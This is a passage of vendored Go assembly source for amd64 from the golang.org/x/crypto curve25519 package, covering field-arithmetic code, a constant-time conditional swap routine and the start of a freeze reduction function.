MOVQ DX,264(SP)
MOVQ CX,272(SP)
MOVQ R8,280(SP)
MOVQ R9,288(SP)
MOVQ AX,296(SP)
MOVQ R10,304(SP)
MOVQ R11,312(SP)
MOVQ R12,320(SP)
MOVQ R13,328(SP)
MOVQ 280(SP),SI
IMUL3Q $19,SI,AX
MOVQ AX,336(SP)
MULQ 112(SP)
MOVQ AX,SI
MOVQ DX,CX
MOVQ 288(SP),DX
IMUL3Q $19,DX,AX
MOVQ AX,344(SP)
MULQ 104(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 256(SP),AX
MULQ 96(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 256(SP),AX
MULQ 104(SP)
MOVQ AX,R8
MOVQ DX,R9
MOVQ 256(SP),AX
MULQ 112(SP)
MOVQ AX,R10
MOVQ DX,R11
MOVQ 256(SP),AX
MULQ 120(SP)
MOVQ AX,R12
MOVQ DX,R13
MOVQ 256(SP),AX
MULQ 128(SP)
MOVQ AX,R14
MOVQ DX,R15
MOVQ 264(SP),AX
MULQ 96(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 264(SP),AX
MULQ 104(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 264(SP),AX
MULQ 112(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 264(SP),AX
MULQ 120(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 264(SP),DX
IMUL3Q $19,DX,AX
MULQ 128(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 272(SP),AX
MULQ 96(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 272(SP),AX
MULQ 104(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 272(SP),AX
MULQ 112(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 272(SP),DX
IMUL3Q $19,DX,AX
MULQ 120(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 272(SP),DX
IMUL3Q $19,DX,AX
MULQ 128(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 280(SP),AX
MULQ 96(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 280(SP),AX
MULQ 104(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 336(SP),AX
MULQ 120(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 336(SP),AX
MULQ 128(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 288(SP),AX
MULQ 96(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 344(SP),AX
MULQ 112(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 344(SP),AX
MULQ 120(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 344(SP),AX
MULQ 128(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ ·REDMASK51(SB),DX
SHLQ $13,CX:SI
ANDQ DX,SI
SHLQ $13,R9:R8
ANDQ DX,R8
ADDQ CX,R8
SHLQ $13,R11:R10
ANDQ DX,R10
ADDQ R9,R10
SHLQ $13,R13:R12
ANDQ DX,R12
ADDQ R11,R12
SHLQ $13,R15:R14
ANDQ DX,R14
ADDQ R13,R14
IMUL3Q $19,R15,CX
ADDQ CX,SI
MOVQ SI,CX
SHRQ $51,CX
ADDQ R8,CX
MOVQ CX,R8
SHRQ $51,CX
ANDQ DX,SI
ADDQ R10,CX
MOVQ CX,R9
SHRQ $51,CX
ANDQ DX,R8
ADDQ R12,CX
MOVQ CX,AX
SHRQ $51,CX
ANDQ DX,R9
ADDQ R14,CX
MOVQ CX,R10
SHRQ $51,CX
ANDQ DX,AX
IMUL3Q $19,CX,CX
ADDQ CX,SI
ANDQ DX,R10
MOVQ SI,96(SP)
MOVQ R8,104(SP)
MOVQ R9,112(SP)
MOVQ AX,120(SP)
MOVQ R10,128(SP)
MOVQ 320(SP),SI
IMUL3Q $19,SI,AX
MOVQ AX,256(SP)
MULQ 72(SP)
MOVQ AX,SI
MOVQ DX,CX
MOVQ 328(SP),DX
IMUL3Q $19,DX,AX
MOVQ AX,264(SP)
MULQ 64(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 296(SP),AX
MULQ 56(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 296(SP),AX
MULQ 64(SP)
MOVQ AX,R8
MOVQ DX,R9
MOVQ 296(SP),AX
MULQ 72(SP)
MOVQ AX,R10
MOVQ DX,R11
MOVQ 296(SP),AX
MULQ 80(SP)
MOVQ AX,R12
MOVQ DX,R13
MOVQ 296(SP),AX
MULQ 88(SP)
MOVQ AX,R14
MOVQ DX,R15
MOVQ 304(SP),AX
MULQ 56(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 304(SP),AX
MULQ 64(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 304(SP),AX
MULQ 72(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 304(SP),AX
MULQ 80(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 304(SP),DX
IMUL3Q $19,DX,AX
MULQ 88(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 312(SP),AX
MULQ 56(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 312(SP),AX
MULQ 64(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 312(SP),AX
MULQ 72(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 312(SP),DX
IMUL3Q $19,DX,AX
MULQ 80(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 312(SP),DX
IMUL3Q $19,DX,AX
MULQ 88(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 320(SP),AX
MULQ 56(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 320(SP),AX
MULQ 64(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 256(SP),AX
MULQ 80(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 256(SP),AX
MULQ 88(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 328(SP),AX
MULQ 56(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 264(SP),AX
MULQ 72(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 264(SP),AX
MULQ 80(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 264(SP),AX
MULQ 88(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ ·REDMASK51(SB),DX
SHLQ $13,CX:SI
ANDQ DX,SI
SHLQ $13,R9:R8
ANDQ DX,R8
ADDQ CX,R8
SHLQ $13,R11:R10
ANDQ DX,R10
ADDQ R9,R10
SHLQ $13,R13:R12
ANDQ DX,R12
ADDQ R11,R12
SHLQ $13,R15:R14
ANDQ DX,R14
ADDQ R13,R14
IMUL3Q $19,R15,CX
ADDQ CX,SI
MOVQ SI,CX
SHRQ $51,CX
ADDQ R8,CX
MOVQ CX,R8
SHRQ $51,CX
ANDQ DX,SI
ADDQ R10,CX
MOVQ CX,R9
SHRQ $51,CX
ANDQ DX,R8
ADDQ R12,CX
MOVQ CX,AX
SHRQ $51,CX
ANDQ DX,R9
ADDQ R14,CX
MOVQ CX,R10
SHRQ $51,CX
ANDQ DX,AX
IMUL3Q $19,CX,CX
ADDQ CX,SI
ANDQ DX,R10
MOVQ SI,DX
MOVQ R8,CX
MOVQ R9,R11
MOVQ AX,R12
MOVQ R10,R13
ADDQ ·_2P0(SB),DX
ADDQ ·_2P1234(SB),CX
ADDQ ·_2P1234(SB),R11
ADDQ ·_2P1234(SB),R12
ADDQ ·_2P1234(SB),R13
ADDQ 96(SP),SI
ADDQ 104(SP),R8
ADDQ 112(SP),R9
ADDQ 120(SP),AX
ADDQ 128(SP),R10
SUBQ 96(SP),DX
SUBQ 104(SP),CX
SUBQ 112(SP),R11
SUBQ 120(SP),R12
SUBQ 128(SP),R13
MOVQ SI,120(DI)
MOVQ R8,128(DI)
MOVQ R9,136(DI)
MOVQ AX,144(DI)
MOVQ R10,152(DI)
MOVQ DX,160(DI)
MOVQ CX,168(DI)
MOVQ R11,176(DI)
MOVQ R12,184(DI)
MOVQ R13,192(DI)
MOVQ 120(DI),AX
MULQ 120(DI)
MOVQ AX,SI
MOVQ DX,CX
MOVQ 120(DI),AX
SHLQ $1,AX
MULQ 128(DI)
MOVQ AX,R8
MOVQ DX,R9
MOVQ 120(DI),AX
SHLQ $1,AX
MULQ 136(DI)
MOVQ AX,R10
MOVQ DX,R11
MOVQ 120(DI),AX
SHLQ $1,AX
MULQ 144(DI)
MOVQ AX,R12
MOVQ DX,R13
MOVQ 120(DI),AX
SHLQ $1,AX
MULQ 152(DI)
MOVQ AX,R14
MOVQ DX,R15
MOVQ 128(DI),AX
MULQ 128(DI)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 128(DI),AX
SHLQ $1,AX
MULQ 136(DI)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 128(DI),AX
SHLQ $1,AX
MULQ 144(DI)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 128(DI),DX
IMUL3Q $38,DX,AX
MULQ 152(DI)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 136(DI),AX
MULQ 136(DI)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 136(DI),DX
IMUL3Q $38,DX,AX
MULQ 144(DI)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 136(DI),DX
IMUL3Q $38,DX,AX
MULQ 152(DI)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 144(DI),DX
IMUL3Q $19,DX,AX
MULQ 144(DI)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 144(DI),DX
IMUL3Q $38,DX,AX
MULQ 152(DI)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 152(DI),DX
IMUL3Q $19,DX,AX
MULQ 152(DI)
ADDQ AX,R12
ADCQ DX,R13
MOVQ ·REDMASK51(SB),DX
SHLQ $13,CX:SI
ANDQ DX,SI
SHLQ $13,R9:R8
ANDQ DX,R8
ADDQ CX,R8
SHLQ $13,R11:R10
ANDQ DX,R10
ADDQ R9,R10
SHLQ $13,R13:R12
ANDQ DX,R12
ADDQ R11,R12
SHLQ $13,R15:R14
ANDQ DX,R14
ADDQ R13,R14
IMUL3Q $19,R15,CX
ADDQ CX,SI
MOVQ SI,CX
SHRQ $51,CX
ADDQ R8,CX
ANDQ DX,SI
MOVQ CX,R8
SHRQ $51,CX
ADDQ R10,CX
ANDQ DX,R8
MOVQ CX,R9
SHRQ $51,CX
ADDQ R12,CX
ANDQ DX,R9
MOVQ CX,AX
SHRQ $51,CX
ADDQ R14,CX
ANDQ DX,AX
MOVQ CX,R10
SHRQ $51,CX
IMUL3Q $19,CX,CX
ADDQ CX,SI
ANDQ DX,R10
MOVQ SI,120(DI)
MOVQ R8,128(DI)
MOVQ R9,136(DI)
MOVQ AX,144(DI)
MOVQ R10,152(DI)
MOVQ 160(DI),AX
MULQ 160(DI)
MOVQ AX,SI
MOVQ DX,CX
MOVQ 160(DI),AX
SHLQ $1,AX
MULQ 168(DI)
MOVQ AX,R8
MOVQ DX,R9
MOVQ 160(DI),AX
SHLQ $1,AX
MULQ 176(DI)
MOVQ AX,R10
MOVQ DX,R11
MOVQ 160(DI),AX
SHLQ $1,AX
MULQ 184(DI)
MOVQ AX,R12
MOVQ DX,R13
MOVQ 160(DI),AX
SHLQ $1,AX
MULQ 192(DI)
MOVQ AX,R14
MOVQ DX,R15
MOVQ 168(DI),AX
MULQ 168(DI)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 168(DI),AX
SHLQ $1,AX
MULQ 176(DI)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 168(DI),AX
SHLQ $1,AX
MULQ 184(DI)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 168(DI),DX
IMUL3Q $38,DX,AX
MULQ 192(DI)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 176(DI),AX
MULQ 176(DI)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 176(DI),DX
IMUL3Q $38,DX,AX
MULQ 184(DI)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 176(DI),DX
IMUL3Q $38,DX,AX
MULQ 192(DI)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 184(DI),DX
IMUL3Q $19,DX,AX
MULQ 184(DI)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 184(DI),DX
IMUL3Q $38,DX,AX
MULQ 192(DI)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 192(DI),DX
IMUL3Q $19,DX,AX
MULQ 192(DI)
ADDQ AX,R12
ADCQ DX,R13
MOVQ ·REDMASK51(SB),DX
SHLQ $13,CX:SI
ANDQ DX,SI
SHLQ $13,R9:R8
ANDQ DX,R8
ADDQ CX,R8
SHLQ $13,R11:R10
ANDQ DX,R10
ADDQ R9,R10
SHLQ $13,R13:R12
ANDQ DX,R12
ADDQ R11,R12
SHLQ $13,R15:R14
ANDQ DX,R14
ADDQ R13,R14
IMUL3Q $19,R15,CX
ADDQ CX,SI
MOVQ SI,CX
SHRQ $51,CX
ADDQ R8,CX
ANDQ DX,SI
MOVQ CX,R8
SHRQ $51,CX
ADDQ R10,CX
ANDQ DX,R8
MOVQ CX,R9
SHRQ $51,CX
ADDQ R12,CX
ANDQ DX,R9
MOVQ CX,AX
SHRQ $51,CX
ADDQ R14,CX
ANDQ DX,AX
MOVQ CX,R10
SHRQ $51,CX
IMUL3Q $19,CX,CX
ADDQ CX,SI
ANDQ DX,R10
MOVQ SI,160(DI)
MOVQ R8,168(DI)
MOVQ R9,176(DI)
MOVQ AX,184(DI)
MOVQ R10,192(DI)
MOVQ 184(DI),SI
IMUL3Q $19,SI,AX
MOVQ AX,56(SP)
MULQ 16(DI)
MOVQ AX,SI
MOVQ DX,CX
MOVQ 192(DI),DX
IMUL3Q $19,DX,AX
MOVQ AX,64(SP)
MULQ 8(DI)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 160(DI),AX
MULQ 0(DI)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 160(DI),AX
MULQ 8(DI)
MOVQ AX,R8
MOVQ DX,R9
MOVQ 160(DI),AX
MULQ 16(DI)
MOVQ AX,R10
MOVQ DX,R11
MOVQ 160(DI),AX
MULQ 24(DI)
MOVQ AX,R12
MOVQ DX,R13
MOVQ 160(DI),AX
MULQ 32(DI)
MOVQ AX,R14
MOVQ DX,R15
MOVQ 168(DI),AX
MULQ 0(DI)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 168(DI),AX
MULQ 8(DI)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 168(DI),AX
MULQ 16(DI)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 168(DI),AX
MULQ 24(DI)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 168(DI),DX
IMUL3Q $19,DX,AX
MULQ 32(DI)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 176(DI),AX
MULQ 0(DI)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 176(DI),AX
MULQ 8(DI)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 176(DI),AX
MULQ 16(DI)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 176(DI),DX
IMUL3Q $19,DX,AX
MULQ 24(DI)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 176(DI),DX
IMUL3Q $19,DX,AX
MULQ 32(DI)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 184(DI),AX
MULQ 0(DI)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 184(DI),AX
MULQ 8(DI)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 56(SP),AX
MULQ 24(DI)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 56(SP),AX
MULQ 32(DI)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 192(DI),AX
MULQ 0(DI)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 64(SP),AX
MULQ 16(DI)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 64(SP),AX
MULQ 24(DI)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 64(SP),AX
MULQ 32(DI)
ADDQ AX,R12
ADCQ DX,R13
MOVQ ·REDMASK51(SB),DX
SHLQ $13,CX:SI
ANDQ DX,SI
SHLQ $13,R9:R8
ANDQ DX,R8
ADDQ CX,R8
SHLQ $13,R11:R10
ANDQ DX,R10
ADDQ R9,R10
SHLQ $13,R13:R12
ANDQ DX,R12
ADDQ R11,R12
SHLQ $13,R15:R14
ANDQ DX,R14
ADDQ R13,R14
IMUL3Q $19,R15,CX
ADDQ CX,SI
MOVQ SI,CX
SHRQ $51,CX
ADDQ R8,CX
MOVQ CX,R8
SHRQ $51,CX
ANDQ DX,SI
ADDQ R10,CX
MOVQ CX,R9
SHRQ $51,CX
ANDQ DX,R8
ADDQ R12,CX
MOVQ CX,AX
SHRQ $51,CX
ANDQ DX,R9
ADDQ R14,CX
MOVQ CX,R10
SHRQ $51,CX
ANDQ DX,AX
IMUL3Q $19,CX,CX
ADDQ CX,SI
ANDQ DX,R10
MOVQ SI,160(DI)
MOVQ R8,168(DI)
MOVQ R9,176(DI)
MOVQ AX,184(DI)
MOVQ R10,192(DI)
MOVQ 200(SP),SI
IMUL3Q $19,SI,AX
MOVQ AX,56(SP)
MULQ 152(SP)
MOVQ AX,SI
MOVQ DX,CX
MOVQ 208(SP),DX
IMUL3Q $19,DX,AX
MOVQ AX,64(SP)
MULQ 144(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 176(SP),AX
MULQ 136(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 176(SP),AX
MULQ 144(SP)
MOVQ AX,R8
MOVQ DX,R9
MOVQ 176(SP),AX
MULQ 152(SP)
MOVQ AX,R10
MOVQ DX,R11
MOVQ 176(SP),AX
MULQ 160(SP)
MOVQ AX,R12
MOVQ DX,R13
MOVQ 176(SP),AX
MULQ 168(SP)
MOVQ AX,R14
MOVQ DX,R15
MOVQ 184(SP),AX
MULQ 136(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 184(SP),AX
MULQ 144(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 184(SP),AX
MULQ 152(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 184(SP),AX
MULQ 160(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 184(SP),DX
IMUL3Q $19,DX,AX
MULQ 168(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 192(SP),AX
MULQ 136(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 192(SP),AX
MULQ 144(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 192(SP),AX
MULQ 152(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 192(SP),DX
IMUL3Q $19,DX,AX
MULQ 160(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 192(SP),DX
IMUL3Q $19,DX,AX
MULQ 168(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 200(SP),AX
MULQ 136(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 200(SP),AX
MULQ 144(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 56(SP),AX
MULQ 160(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 56(SP),AX
MULQ 168(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 208(SP),AX
MULQ 136(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 64(SP),AX
MULQ 152(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 64(SP),AX
MULQ 160(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 64(SP),AX
MULQ 168(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ ·REDMASK51(SB),DX
SHLQ $13,CX:SI
ANDQ DX,SI
SHLQ $13,R9:R8
ANDQ DX,R8
ADDQ CX,R8
SHLQ $13,R11:R10
ANDQ DX,R10
ADDQ R9,R10
SHLQ $13,R13:R12
ANDQ DX,R12
ADDQ R11,R12
SHLQ $13,R15:R14
ANDQ DX,R14
ADDQ R13,R14
IMUL3Q $19,R15,CX
ADDQ CX,SI
MOVQ SI,CX
SHRQ $51,CX
ADDQ R8,CX
MOVQ CX,R8
SHRQ $51,CX
ANDQ DX,SI
ADDQ R10,CX
MOVQ CX,R9
SHRQ $51,CX
ANDQ DX,R8
ADDQ R12,CX
MOVQ CX,AX
SHRQ $51,CX
ANDQ DX,R9
ADDQ R14,CX
MOVQ CX,R10
SHRQ $51,CX
ANDQ DX,AX
IMUL3Q $19,CX,CX
ADDQ CX,SI
ANDQ DX,R10
MOVQ SI,40(DI)
MOVQ R8,48(DI)
MOVQ R9,56(DI)
MOVQ AX,64(DI)
MOVQ R10,72(DI)
MOVQ 216(SP),AX
MULQ ·_121666_213(SB)
SHRQ $13,AX
MOVQ AX,SI
MOVQ DX,CX
MOVQ 224(SP),AX
MULQ ·_121666_213(SB)
SHRQ $13,AX
ADDQ AX,CX
MOVQ DX,R8
MOVQ 232(SP),AX
MULQ ·_121666_213(SB)
SHRQ $13,AX
ADDQ AX,R8
MOVQ DX,R9
MOVQ 240(SP),AX
MULQ ·_121666_213(SB)
SHRQ $13,AX
ADDQ AX,R9
MOVQ DX,R10
MOVQ 248(SP),AX
MULQ ·_121666_213(SB)
SHRQ $13,AX
ADDQ AX,R10
IMUL3Q $19,DX,DX
ADDQ DX,SI
ADDQ 136(SP),SI
ADDQ 144(SP),CX
ADDQ 152(SP),R8
ADDQ 160(SP),R9
ADDQ 168(SP),R10
MOVQ SI,80(DI)
MOVQ CX,88(DI)
MOVQ R8,96(DI)
MOVQ R9,104(DI)
MOVQ R10,112(DI)
MOVQ 104(DI),SI
IMUL3Q $19,SI,AX
MOVQ AX,56(SP)
MULQ 232(SP)
MOVQ AX,SI
MOVQ DX,CX
MOVQ 112(DI),DX
IMUL3Q $19,DX,AX
MOVQ AX,64(SP)
MULQ 224(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 80(DI),AX
MULQ 216(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 80(DI),AX
MULQ 224(SP)
MOVQ AX,R8
MOVQ DX,R9
MOVQ 80(DI),AX
MULQ 232(SP)
MOVQ AX,R10
MOVQ DX,R11
MOVQ 80(DI),AX
MULQ 240(SP)
MOVQ AX,R12
MOVQ DX,R13
MOVQ 80(DI),AX
MULQ 248(SP)
MOVQ AX,R14
MOVQ DX,R15
MOVQ 88(DI),AX
MULQ 216(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 88(DI),AX
MULQ 224(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 88(DI),AX
MULQ 232(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 88(DI),AX
MULQ 240(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 88(DI),DX
IMUL3Q $19,DX,AX
MULQ 248(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 96(DI),AX
MULQ 216(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 96(DI),AX
MULQ 224(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 96(DI),AX
MULQ 232(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 96(DI),DX
IMUL3Q $19,DX,AX
MULQ 240(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 96(DI),DX
IMUL3Q $19,DX,AX
MULQ 248(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 104(DI),AX
MULQ 216(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 104(DI),AX
MULQ 224(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 56(SP),AX
MULQ 240(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 56(SP),AX
MULQ 248(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 112(DI),AX
MULQ 216(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 64(SP),AX
MULQ 232(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 64(SP),AX
MULQ 240(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 64(SP),AX
MULQ 248(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ ·REDMASK51(SB),DX
SHLQ $13,CX:SI
ANDQ DX,SI
SHLQ $13,R9:R8
ANDQ DX,R8
ADDQ CX,R8
SHLQ $13,R11:R10
ANDQ DX,R10
ADDQ R9,R10
SHLQ $13,R13:R12
ANDQ DX,R12
ADDQ R11,R12
SHLQ $13,R15:R14
ANDQ DX,R14
ADDQ R13,R14
IMUL3Q $19,R15,CX
ADDQ CX,SI
MOVQ SI,CX
SHRQ $51,CX
ADDQ R8,CX
MOVQ CX,R8
SHRQ $51,CX
ANDQ DX,SI
ADDQ R10,CX
MOVQ CX,R9
SHRQ $51,CX
ANDQ DX,R8
ADDQ R12,CX
MOVQ CX,AX
SHRQ $51,CX
ANDQ DX,R9
ADDQ R14,CX
MOVQ CX,R10
SHRQ $51,CX
ANDQ DX,AX
IMUL3Q $19,CX,CX
ADDQ CX,SI
ANDQ DX,R10
MOVQ SI,80(DI)
MOVQ R8,88(DI)
MOVQ R9,96(DI)
MOVQ AX,104(DI)
MOVQ R10,112(DI)
MOVQ 0(SP),R11
MOVQ 8(SP),R12
MOVQ 16(SP),R13
MOVQ 24(SP),R14
MOVQ 32(SP),R15
MOVQ 40(SP),BX
MOVQ 48(SP),BP
MOVQ R11,SP
MOVQ DI,AX
MOVQ SI,DX
RET
|
albertrdixon/romulus | 1,551 | Godeps/_workspace/src/golang.org/x/crypto/curve25519/cswap_amd64.s | // Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// This code was translated into a form compatible with 6a from the public
// domain sources in SUPERCOP: http://bench.cr.yp.to/supercop.html
// +build amd64,!gccgo,!appengine
// func cswap(inout *[5]uint64, v uint64)
TEXT ·cswap(SB),7,$0
MOVQ inout+0(FP),DI
MOVQ v+8(FP),SI
CMPQ SI,$1
MOVQ 0(DI),SI
MOVQ 80(DI),DX
MOVQ 8(DI),CX
MOVQ 88(DI),R8
MOVQ SI,R9
CMOVQEQ DX,SI
CMOVQEQ R9,DX
MOVQ CX,R9
CMOVQEQ R8,CX
CMOVQEQ R9,R8
MOVQ SI,0(DI)
MOVQ DX,80(DI)
MOVQ CX,8(DI)
MOVQ R8,88(DI)
MOVQ 16(DI),SI
MOVQ 96(DI),DX
MOVQ 24(DI),CX
MOVQ 104(DI),R8
MOVQ SI,R9
CMOVQEQ DX,SI
CMOVQEQ R9,DX
MOVQ CX,R9
CMOVQEQ R8,CX
CMOVQEQ R9,R8
MOVQ SI,16(DI)
MOVQ DX,96(DI)
MOVQ CX,24(DI)
MOVQ R8,104(DI)
MOVQ 32(DI),SI
MOVQ 112(DI),DX
MOVQ 40(DI),CX
MOVQ 120(DI),R8
MOVQ SI,R9
CMOVQEQ DX,SI
CMOVQEQ R9,DX
MOVQ CX,R9
CMOVQEQ R8,CX
CMOVQEQ R9,R8
MOVQ SI,32(DI)
MOVQ DX,112(DI)
MOVQ CX,40(DI)
MOVQ R8,120(DI)
MOVQ 48(DI),SI
MOVQ 128(DI),DX
MOVQ 56(DI),CX
MOVQ 136(DI),R8
MOVQ SI,R9
CMOVQEQ DX,SI
CMOVQEQ R9,DX
MOVQ CX,R9
CMOVQEQ R8,CX
CMOVQEQ R9,R8
MOVQ SI,48(DI)
MOVQ DX,128(DI)
MOVQ CX,56(DI)
MOVQ R8,136(DI)
MOVQ 64(DI),SI
MOVQ 144(DI),DX
MOVQ 72(DI),CX
MOVQ 152(DI),R8
MOVQ SI,R9
CMOVQEQ DX,SI
CMOVQEQ R9,DX
MOVQ CX,R9
CMOVQEQ R8,CX
CMOVQEQ R9,R8
MOVQ SI,64(DI)
MOVQ DX,144(DI)
MOVQ CX,72(DI)
MOVQ R8,152(DI)
MOVQ DI,AX
MOVQ SI,DX
RET
|
albertrdixon/romulus | 1,549 | Godeps/_workspace/src/golang.org/x/crypto/curve25519/freeze_amd64.s | // Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// This code was translated into a form compatible with 6a from the public
// domain sources in SUPERCOP: http://bench.cr.yp.to/supercop.html
// +build amd64,!gccgo,!appengine
// func freeze(inout *[5]uint64)
TEXT ·freeze(SB),7,$96-8
MOVQ inout+0(FP), DI
MOVQ SP,R11
MOVQ $31,CX
NOTQ CX
ANDQ CX,SP
ADDQ $32,SP
MOVQ R11,0(SP)
MOVQ R12,8(SP)
MOVQ R13,16(SP)
MOVQ R14,24(SP)
MOVQ R15,32(SP)
MOVQ BX,40(SP)
MOVQ BP,48(SP)
MOVQ 0(DI),SI
MOVQ 8(DI),DX
MOVQ 16(DI),CX
MOVQ 24(DI),R8
MOVQ 32(DI),R9
MOVQ ·REDMASK51(SB),AX
MOVQ AX,R10
SUBQ $18,R10
MOVQ $3,R11
REDUCELOOP:
MOVQ SI,R12
SHRQ $51,R12
ANDQ AX,SI
ADDQ R12,DX
MOVQ DX,R12
SHRQ $51,R12
ANDQ AX,DX
ADDQ R12,CX
MOVQ CX,R12
SHRQ $51,R12
ANDQ AX,CX
ADDQ R12,R8
MOVQ R8,R12
SHRQ $51,R12
ANDQ AX,R8
ADDQ R12,R9
MOVQ R9,R12
SHRQ $51,R12
ANDQ AX,R9
IMUL3Q $19,R12,R12
ADDQ R12,SI
SUBQ $1,R11
JA REDUCELOOP
MOVQ $1,R12
CMPQ R10,SI
CMOVQLT R11,R12
CMPQ AX,DX
CMOVQNE R11,R12
CMPQ AX,CX
CMOVQNE R11,R12
